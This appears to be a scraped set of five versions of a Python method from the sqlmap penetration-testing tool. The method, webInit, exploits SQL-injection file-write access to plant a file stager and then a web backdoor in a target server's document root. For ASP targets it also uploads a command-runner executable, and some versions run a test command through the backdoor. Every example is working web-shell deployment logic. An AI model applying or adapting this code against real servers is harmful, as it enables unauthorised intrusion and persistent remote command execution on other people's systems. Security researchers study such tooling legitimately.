Example #1
0
    def webInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        infoMsg = "trying to upload the file stager"
        logger.info(infoMsg)

        default = None
        choices = ('asp', 'aspx', 'php', 'jsp')

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            if Backend.isOs(OS.WINDOWS):
                default = "asp"
            else:
                default = "php"

        message = "which web application language does the web server "
        message += "support?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn("invalid value, it must be between 1 and %d" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        kb.docRoot = getDocRoot()
        directories = getDirs()
        directories = list(directories)
        directories.sort()

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
        originalBackdoorContent = backdoorContent = backdoorStream.read()

        stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))

        warned = set()
        success = False

        for i in xrange(len(kb.docRoot)):
            if success:
                break

            for j in xrange(len(directories)):
                docRoot = kb.docRoot[i]
                directory = directories[j]
                uriPath = ""

                if not all(isinstance(item, basestring) for item in [docRoot, directory]):
                    continue

                directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
                docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')

                # '' or '/' -> 'docRoot'
                if not directory:
                    localPath = docRoot
                    uriPath = '/'
                # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
                elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
                    localPath = "%s/%s" % (docRoot, directory)
                    uriPath = "/%s" % directory
                else:
                    localPath = directory
                    uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
                    docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
                    if docRoot in uriPath:
                        uriPath = uriPath.replace(docRoot, "/")
                        uriPath = "/%s" % normalizePath(uriPath)
                    else:
                        webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
                        if webDir:
                            uriPath = "/%s" % webDir
                        else:
                            continue

                localPath = posixpath.normpath(localPath).rstrip('/')
                uriPath = posixpath.normpath(uriPath).rstrip('/')

                # Upload the file stager
                self.__webFileInject(stagerContent, stagerName, localPath)

                self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
                self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)

                uplPage = uplPage or ""

                if "sqlmap file uploader" not in uplPage:
                    if localPath not in warned:
                        warnMsg = "unable to upload the file stager "
                        warnMsg += "on '%s'" % localPath
                        logger.warn(warnMsg)
                        warned.add(localPath)
                    continue

                elif "<%" in uplPage or "<?" in uplPage:
                    warnMsg = "file stager uploaded "
                    warnMsg += "on '%s' but not dynamically interpreted" % localPath
                    logger.warn(warnMsg)
                    continue

                elif self.webApi == "aspx":
                    kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
                    kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)

                infoMsg = "the file stager has been successfully uploaded "
                infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
                logger.info(infoMsg)

                if self.webApi == "asp":
                    runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
                    runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
                    match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)

                    if match:
                        backdoorDirectory = match.group(1)
                    else:
                        continue

                    backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
                    backdoorStream.file.truncate()
                    backdoorStream.read()
                    backdoorStream.seek(0)
                    backdoorStream.write(backdoorContent)

                    if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
                        self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
                        self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
                        self.webDirectory = backdoorDirectory
                    else:
                        continue

                else:
                    if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
                        warnMsg = "backdoor has not been successfully uploaded "
                        warnMsg += "through the file stager possibly because "
                        warnMsg += "the user running the web server process "
                        warnMsg += "has not write privileges over the folder "
                        warnMsg += "where the user running the DBMS process "
                        warnMsg += "was able to upload the file stager or "
                        warnMsg += "because the DBMS and web server sit on "
                        warnMsg += "different servers"
                        logger.warn(warnMsg)

                        message = "do you want to try the same method used "
                        message += "for the file stager? [Y/n] "
                        getOutput = readInput(message, default="Y")

                        if getOutput in ("y", "Y"):
                            self.__webFileInject(backdoorContent, backdoorName, localPath)
                        else:
                            continue

                    self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = localPath

                infoMsg = "the backdoor has probably been successfully "
                infoMsg += "uploaded on '%s' - " % self.webDirectory
                infoMsg += self.webBackdoorUrl
                logger.info(infoMsg)

                success = True

                break
Example #2
0
    def webInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        infoMsg = "trying to upload the file stager"
        logger.info(infoMsg)

        default = None
        choices = ['asp', 'aspx', 'php', 'jsp']

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            if kb.os == "Windows":
                default = "asp"
            else:
                default = "php"

        message  = "which web application language does the web server "
        message += "support?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn("invalid value, it must be between 1 and %d" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        kb.docRoot  = getDocRoot(self.webApi)
        directories = getDirs(self.webApi)
        directories = list(directories)
        directories.sort()

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
        originalBackdoorContent = backdoorContent = backdoorStream.read()

        stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))

        for directory in directories:
            # Upload the file stager
            self.__webFileInject(stagerContent, stagerName, directory)
            requestDir  = ntToPosixSlashes(directory)

            if not requestDir:
                continue

            if requestDir[-1] != '/':
                requestDir += '/'

            requestDir = requestDir.replace(ntToPosixSlashes(kb.docRoot), "/")

            if isWindowsDriveLetterPath(requestDir):
                requestDir = requestDir[2:]

            requestDir = normalizePath(requestDir).replace("//", "/")

            if requestDir[0] != '/':
                requestDir = '/' + requestDir

            self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
            self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'), stagerName)
            self.webStagerUrl = ntToPosixSlashes(self.webStagerUrl.replace("./", "/"))
            uplPage, _  = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)

            if "sqlmap file uploader" not in uplPage:
                warnMsg  = "unable to upload the file stager "
                warnMsg += "on '%s'" % directory
                logger.warn(warnMsg)
                continue

            elif "<%" in uplPage or "<?" in uplPage:
                warnMsg  = "file stager uploaded "
                warnMsg += "on '%s' but not dynamically interpreted ('%s')" % (directory, self.webStagerUrl)
                logger.warn(warnMsg)
                continue

            infoMsg  = "the file stager has been successfully uploaded "
            infoMsg += "on '%s' ('%s')" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == "asp":
                runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
                runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
                match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
                backdoorStream.file.truncate()
                backdoorStream.read()
                backdoorStream.seek(0)
                backdoorStream.write(backdoorContent)

                if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
                    self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip('/'), backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory):
                    warnMsg  = "backdoor has not been successfully uploaded "
                    warnMsg += "with file stager probably because of "
                    warnMsg += "lack of write permission."
                    logger.warn(warnMsg)

                    message  = "do you want to try the same method used "
                    message += "for the file stager? [y/N] "
                    getOutput = readInput(message, default="N")

                    if getOutput in ("y", "Y"):
                        self.__webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
                self.webDirectory = directory

            infoMsg  = "the backdoor has probably been successfully "
            infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
            infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
            logger.info(infoMsg)

            break
Example #3
0
    def webInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        infoMsg = "trying to upload the file stager"
        logger.info(infoMsg)

        default = None
        choices = ['asp', 'aspx', 'php', 'jsp']

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            if kb.os == "Windows":
                default = "asp"
            else:
                default = "php"

        message = "which web application language does the web server "
        message += "support?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(),
                                        (" (default)"
                                         if default == ext else ""))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn("invalid value, it must be between 1 and %d" %
                            len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        kb.docRoot = getDocRoot()
        directories = getDirs()
        directories = list(directories)
        directories.sort()

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorStream = decloakToNamedTemporaryFile(
            os.path.join(paths.SQLMAP_SHELL_PATH,
                         "backdoor.%s_" % self.webApi), backdoorName)
        originalBackdoorContent = backdoorContent = backdoorStream.read()

        stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
        stagerContent = decloak(
            os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))

        warned = set()
        success = False

        for i in xrange(len(kb.docRoot)):
            if success:
                break

            for j in xrange(len(directories)):
                docRoot = kb.docRoot[i]
                directory = directories[j]

                if not all(
                        isinstance(item, basestring)
                        for item in [docRoot, directory]):
                    continue
                directory = ntToPosixSlashes(normalizePath(directory)).replace(
                    "//", "/").rstrip('/')
                docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace(
                    "//", "/").rstrip('/')

                # '' or '/' -> 'docRoot'
                if not directory:
                    localPath = docRoot
                    uriPath = '/'
                # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
                elif not isWindowsDriveLetterPath(
                        directory) and directory[0] != '/':
                    localPath = "%s/%s" % (docRoot, directory)
                    uriPath = "/%s" % directory
                else:
                    localPath = directory
                    uriPath = directory[2:] if isWindowsDriveLetterPath(
                        directory) else directory
                    docRoot = docRoot[2:] if isWindowsDriveLetterPath(
                        docRoot) else docRoot
                    if docRoot in uriPath:
                        uriPath = uriPath.replace(docRoot, "/")
                        uriPath = "/%s" % normalizePath(uriPath)
                    else:
                        webDir = extractRegexResult(
                            r"//[^/]+?/(?P<result>.*)/.", conf.url)
                        if webDir:
                            uriPath = "/%s" % webDir
                        else:
                            continue

                uriPath = uriPath.replace("//", "/").rstrip('/')
                localPath = localPath.rstrip('/')

                if not uriPath:
                    uriPath = '/'

                # Upload the file stager
                self.__webFileInject(stagerContent, stagerName, localPath)

                self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname,
                                                    conf.port, uriPath)
                self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'),
                                               stagerName)

                uplPage, _ = Request.getPage(url=self.webStagerUrl,
                                             direct=True,
                                             raise404=False)

                if "sqlmap file uploader" not in uplPage:
                    if localPath not in warned:
                        warnMsg = "unable to upload the file stager "
                        warnMsg += "on '%s'" % localPath
                        logger.warn(warnMsg)
                        warned.add(localPath)
                    continue

                elif "<%" in uplPage or "<?" in uplPage:
                    warnMsg = "file stager uploaded "
                    warnMsg += "on '%s' but not dynamically interpreted" % localPath
                    logger.warn(warnMsg)
                    continue

                elif self.webApi == "aspx":
                    kb.data.__EVENTVALIDATION = extractRegexResult(
                        r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"",
                        uplPage, re.I)
                    kb.data.__VIEWSTATE = extractRegexResult(
                        r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"",
                        uplPage, re.I)

                infoMsg = "the file stager has been successfully uploaded "
                infoMsg += "on '%s' ('%s')" % (localPath, self.webStagerUrl)
                logger.info(infoMsg)

                if self.webApi == "asp":
                    runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
                    runcmdStream = decloakToNamedTemporaryFile(
                        os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'),
                        runcmdName)
                    match = re.search(
                        r'input type=hidden name=scriptsdir value="([^"]+)"',
                        uplPage)

                    if match:
                        backdoorDirectory = match.group(1)
                    else:
                        continue

                    backdoorContent = originalBackdoorContent.replace(
                        "WRITABLE_DIR",
                        backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
                    backdoorStream.file.truncate()
                    backdoorStream.read()
                    backdoorStream.seek(0)
                    backdoorStream.write(backdoorContent)

                    if self.__webFileStreamUpload(backdoorStream, backdoorName,
                                                  backdoorDirectory):
                        self.__webFileStreamUpload(runcmdStream, runcmdName,
                                                   backdoorDirectory)
                        self.webBackdoorUrl = "%s/Scripts/%s" % (
                            self.webBaseUrl.rstrip('/'), backdoorName)
                        self.webDirectory = backdoorDirectory
                    else:
                        continue

                else:
                    if not self.__webFileStreamUpload(
                            backdoorStream, backdoorName,
                            posixToNtSlashes(localPath)
                            if kb.os == "Windows" else localPath):
                        warnMsg = "backdoor has not been successfully uploaded "
                        warnMsg += "with file stager probably because of "
                        warnMsg += "lack of write permission."
                        logger.warn(warnMsg)

                        message = "do you want to try the same method used "
                        message += "for the file stager? [y/N] "
                        getOutput = readInput(message, default="N")

                        if getOutput in ("y", "Y"):
                            self.__webFileInject(backdoorContent, backdoorName,
                                                 localPath)
                        else:
                            continue

                    self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl,
                                                     backdoorName)
                    self.webDirectory = localPath

                infoMsg = "the backdoor has probably been successfully "
                infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
                infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
                logger.info(infoMsg)

                success = True

                break
Example #4
0
    def webInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        infoMsg = "trying to upload the file stager"
        logger.info(infoMsg)

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            if Backend.isOs(OS.WINDOWS):
                default = WEB_API.ASP
            else:
                default = WEB_API.PHP

        message = "which web application language does the web server "
        message += "support?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn("invalid value, it must be between 1 and %d" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        kb.docRoot = getDocRoot()
        directories = sorted(getDirs())

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
        originalBackdoorContent = backdoorContent = backdoorStream.read()

        stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))

        success = False

        for docRoot in arrayizeValue(kb.docRoot):
            if success:
                break

            for directory in directories:
                uriPath = ""

                if not all(isinstance(_, basestring) for _ in (docRoot, directory)):
                    continue

                directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
                docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')

                # '' or '/' -> 'docRoot'
                if not directory:
                    localPath = docRoot
                    uriPath = '/'
                # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
                elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
                    localPath = "%s/%s" % (docRoot, directory)
                    uriPath = "/%s" % directory
                else:
                    localPath = directory
                    uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
                    docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot

                    if docRoot in uriPath:
                        uriPath = uriPath.replace(docRoot, "/")
                        uriPath = "/%s" % normalizePath(uriPath)
                    else:
                        webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)

                        if webDir:
                            uriPath = "/%s" % webDir
                        else:
                            continue

                localPath = posixpath.normpath(localPath).rstrip('/')
                uriPath = posixpath.normpath(uriPath).rstrip('/')

                # Upload the file stager
                self.__webFileInject(stagerContent, stagerName, localPath)

                self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
                self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
                self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                uplPage = uplPage or ""

                if "sqlmap file uploader" not in uplPage:
                    warnMsg = "unable to upload the file stager "
                    warnMsg += "on '%s'" % localPath
                    singleTimeWarnMessage(warnMsg)

                    if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                        infoMsg = "trying to upload the file stager via "
                        infoMsg += "UNION technique"
                        logger.info(infoMsg)

                        handle, filename = mkstemp()
                        os.fdopen(handle).close()  # close low level handle (causing problems latter)

                        with open(filename, "w+") as f:
                            _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
                            _ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath)
                            f.write(utf8encode(_))

                        self.unionWriteFile(filename, self.webStagerFilePath, "text")

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                        uplPage = uplPage or ""

                        if "sqlmap file uploader" not in uplPage:
                            continue
                    else:
                        continue

                if "<%" in uplPage or "<?" in uplPage:
                    warnMsg = "file stager uploaded on '%s', " % localPath
                    warnMsg += "but not dynamically interpreted"
                    logger.warn(warnMsg)
                    continue

                elif self.webApi == WEB_API.ASPX:
                    kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
                    kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)

                infoMsg = "the file stager has been successfully uploaded "
                infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
                logger.info(infoMsg)

                if self.webApi == WEB_API.ASP:
                    runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
                    runcmdStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
                    match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)

                    if match:
                        backdoorDirectory = match.group(1)
                    else:
                        continue

                    backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
                    backdoorStream.truncate()
                    backdoorStream.read()
                    backdoorStream.seek(0)
                    backdoorStream.write(backdoorContent)

                    if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
                        self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
                        self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
                        self.webDirectory = backdoorDirectory
                    else:
                        continue

                else:
                    if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
                        warnMsg = "backdoor has not been successfully uploaded "
                        warnMsg += "through the file stager possibly because "
                        warnMsg += "the user running the web server process "
                        warnMsg += "has not write privileges over the folder "
                        warnMsg += "where the user running the DBMS process "
                        warnMsg += "was able to upload the file stager or "
                        warnMsg += "because the DBMS and web server sit on "
                        warnMsg += "different servers"
                        logger.warn(warnMsg)

                        message = "do you want to try the same method used "
                        message += "for the file stager? [Y/n] "
                        getOutput = readInput(message, default="Y")

                        if getOutput in ("y", "Y"):
                            self.__webFileInject(backdoorContent, backdoorName, localPath)
                        else:
                            continue

                    self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = localPath

                self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/')

                testStr = "command execution test"
                output = self.webBackdoorRunCmd("echo %s" % testStr)

                if output and testStr in output:
                    infoMsg = "the backdoor has been successfully "
                else:
                    infoMsg = "the backdoor has probably been successfully "

                infoMsg += "uploaded on '%s' - " % self.webDirectory
                infoMsg += self.webBackdoorUrl
                logger.info(infoMsg)

                success = True

                break
Example #5
0
    def webInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        if self.webBackdoorUrl is not None and self.webUploaderUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        infoMsg = "trying to upload the uploader agent"
        logger.info(infoMsg)

        message = "which web application language does the web server "
        message += "support?\n"
        message += "[1] ASP%s\n" % (" (default)" if kb.os == "Windows" else "")
        message += "[2] PHP%s\n" % ("" if kb.os == "Windows" else " (default)")
        message += "[3] JSP"

        while True:
            choice = readInput(message, default="1" if kb.os == "Windows" else "2")

            if not choice or choice == "2":
                self.webApi = "php"
                break

            elif choice == "1":
                self.webApi = "asp"
                break

            elif choice == "3":
                errMsg = "JSP web backdoor functionality is not yet "
                errMsg += "implemented"
                raise sqlmapUnsupportedDBMSException(errMsg)

            elif not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > 3:
                logger.warn("invalid value, it must be 1 or 3")

        kb.docRoot = getDocRoot(self.webApi)
        directories = getDirs(self.webApi)
        directories = list(directories)
        directories.sort()

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorStream = decloakToNamedTemporaryFile(
            os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName
        )
        originalBackdoorContent = backdoorContent = backdoorStream.read()

        uploaderName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
        uploaderContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "uploader.%s_" % self.webApi))

        for directory in directories:
            # Upload the uploader agent
            self.__webFileInject(uploaderContent, uploaderName, directory)

            requestDir = ntToPosixSlashes(directory).replace(ntToPosixSlashes(kb.docRoot), "/")
            if isWindowsPath(requestDir):
                requestDir = requestDir[2:]
            requestDir = normalizePath(requestDir)

            self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
            self.webUploaderUrl = "%s/%s" % (self.webBaseUrl.rstrip("/"), uploaderName)
            self.webUploaderUrl = ntToPosixSlashes(self.webUploaderUrl.replace("./", "/"))
            uplPage, _ = Request.getPage(url=self.webUploaderUrl, direct=True, raise404=False)

            if "sqlmap file uploader" not in uplPage:
                warnMsg = "unable to upload the uploader "
                warnMsg += "agent on '%s'" % directory
                logger.warn(warnMsg)

                continue

            infoMsg = "the uploader agent has been successfully uploaded "
            infoMsg += "on '%s' ('%s')" % (directory, self.webUploaderUrl)
            logger.info(infoMsg)

            if self.webApi == "asp":
                runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
                runcmdStream = decloakToNamedTemporaryFile(
                    os.path.join(paths.SQLMAP_SHELL_PATH, "runcmd.exe_"), runcmdName
                )
                match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace(
                    "RUNCMD_EXE", runcmdName
                )
                backdoorStream.file.truncate()
                backdoorStream.read()
                backdoorStream.seek(0)
                backdoorStream.write(backdoorContent)

                if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
                    self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip("/"), backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.__webFileStreamUpload(
                    backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory
                ):
                    warnMsg = "backdoor hasn't been successfully uploaded "
                    warnMsg += "with uploader probably because of permission "
                    warnMsg += "issues."
                    logger.warn(warnMsg)

                    message = "do you want to try the same method used "
                    message += "for uploader? [y/N] "
                    getOutput = readInput(message, default="N")

                    if getOutput in ("y", "Y"):
                        self.__webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
                self.webDirectory = directory

            infoMsg = "the backdoor has probably been successfully "
            infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
            infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
            logger.info(infoMsg)

            break